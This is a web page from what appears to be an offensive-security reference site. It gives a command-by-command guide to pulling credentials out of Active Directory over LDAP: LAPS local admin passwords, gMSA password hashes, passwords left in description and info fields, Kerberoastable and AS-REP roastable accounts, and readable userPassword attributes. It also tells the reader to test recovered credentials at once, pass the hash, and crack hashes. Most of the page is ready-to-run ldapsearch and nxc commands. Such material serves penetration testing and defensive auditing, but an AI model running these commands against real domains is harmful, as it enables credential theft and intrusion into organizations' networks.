Skip to content
HackIndex.io

LDAP Credential Extraction – LAPS gMSA and Hidden Passwords

4 min read Created Mar 11, 2026 Last updated Jul 10, 2026

With valid domain credentials and sufficient LDAP read access, several high-value credential stores are directly readable from Active Directory via LDAP queries. LAPS stores local administrator passwords in ms-MCS-AdmPwd. Group Managed Service Account passwords live in msDS-ManagedPassword. Administrators routinely leave plaintext passwords in description, info, and comment fields. None of these require elevated privileges to read if the ACLs are misconfigured, and they frequently are. Credential sources covered here:

  • LAPS local admin passwords (ms-MCS-AdmPwd)

  • gMSA service account password blobs (msDS-ManagedPassword)

  • Plaintext passwords in description, info, and comment fields

  • Kerberoastable and AS-REP Roastable account identification

  • ACL-misconfigured sensitive attributes

LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores auto-rotated local admin passwords in the ms-MCS-AdmPwd attribute on each computer object. By default only specific groups can read it, but over-permissioned ACLs on computer OUs are common.

Check which computers have LAPS enabled and attempt to read the password:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dNSHostName

Any computer returning a value in ms-MCS-AdmPwd gives you the current local admin password for that host.

With nxc:

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --laps

Take any LAPS password returned and immediately test it for local admin access:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p $LAPS_PASSWORD --local-auth

gMSA Password Extraction

Group Managed Service Accounts store their current password blob in msDS-ManagedPassword. Only accounts explicitly listed in msDS-GroupMSAMembership can read it, but that ACL is often misconfigured or you may already be operating as an account with read access.

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=msDS-GroupManagedServiceAccount)" msDS-ManagedPassword sAMAccountName

The msDS-ManagedPassword attribute returns a binary blob. Parse it with gMSADumper to extract the NT hash:

┌──(kali㉿kali)-[~]
└─$ python3 gMSADumper.py -u $USER -p $PASSWORD -d $DOMAIN -l $TARGET_IP

The NT hash can be used directly for Pass-the-Hash: see https://hackindex.io/services/smb/exploitation/pass-the-hash.

Password in Description and Info Fields

Administrators frequently store passwords in user and computer object description fields. This is readable by all authenticated domain users by default.

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=user)" sAMAccountName description | grep -A1 -i "description"

Broader sweep across all objects and attributes that might contain credentials:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(description=*pass*)" sAMAccountName description
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(description=*pwd*)" sAMAccountName description
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(info=*)" sAMAccountName info
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(comment=*)" sAMAccountName comment

Any credential found here is valid domain account data: test it immediately across SMB, WinRM, and RDP.

Kerberoastable and AS-REP Roastable Account Extraction

With valid credentials, pull accounts configured for attack directly:

Kerberoastable accounts (have SPNs set):

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

AS-REP roastable accounts (pre-auth disabled):

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

Feed these directly into Impacket: see https://hackindex.io/services/kerberos/exploitation/kerberoasting and https://hackindex.io/services/kerberos/exploitation/asrep-roasting.

ACL-Based Readable Sensitive Attributes

Some environments misconfigure ACLs to allow standard users to read attributes that should be restricted. Check for readable unicodePwd, userPassword, or unixUserPassword attributes: rare on AD but common on OpenLDAP mixed environments:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=user)" userPassword unixUserPassword

On OpenLDAP, passwords may be returned in cleartext or as weak hashes ({MD5}, {SHA}, {CRYPT}). Extract and crack with hashcat.

LDAP credential extraction with nxc

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --users
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --gmsa
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --laps
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --kerberoasting kerberoast.txt
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --asreproast asrep.txt

Related

Kerberoasting
Blog

Kerberoasting

Exploits Kerberos TGS ticket encryption to extract and offline brute-force service account password...
AS-REP Roasting
Blog

AS-REP Roasting

Exploit accounts with Kerberos pre-authentication disabled to capture AS-REP hashes offline for pass...
Pass-the-Hash over SMB – Shell Without a Password
Blog

Pass-the-Hash over SMB – Shell Without a Password

Exploit NTLM authentication weaknesses by replaying captured password hashes over SMB to gain remote...

References